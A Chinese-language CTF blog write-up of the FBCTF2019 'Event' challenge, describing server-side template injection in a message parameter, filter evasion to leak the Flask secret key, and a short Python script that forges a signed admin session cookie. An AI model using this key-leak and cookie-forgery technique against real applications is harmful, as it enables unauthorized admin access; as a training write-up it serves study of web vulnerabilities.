CTF Web安全

[FBCTF2019]Event(SSTI3)

Posted on 2020-01-26,2 min read

功能很简单。就一个登陆。一个查看flag。但是flag没有权限


随便注册个用户看看。存在留言功能

发送留言处event_important参数存在SSTI。

别问我为什么用__class__
一开始。用的是{{2*2}}
发现留言并没有成功。是不是{{}}导致程序出错了。
然后去掉{{}}不行。再去掉单引号。还是不行。最后去掉点。就可以了。。
不知道后端咋写的
既然有SSTI。就好办了。我们通过读取密钥。然后伪造cookie。成为admin就能拿到flag

拿到密钥

开始解密

这里解密了两个cookies。感觉user的值才是用来判断用户名的

但是问题来了。这个解密的字符串就一个test。和之前有点不太一样。所以。我们也无法获得admin身份的session
看了writeup。这里还有种办法。使用python搭一个flask。然后得到session
https://xz.aliyun.com/t/5399#toc-1

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
    print(session_serializer.dumps("admin"))
index()

用python2不行。python3输出替换user

下一篇: PHP的Session反序列化→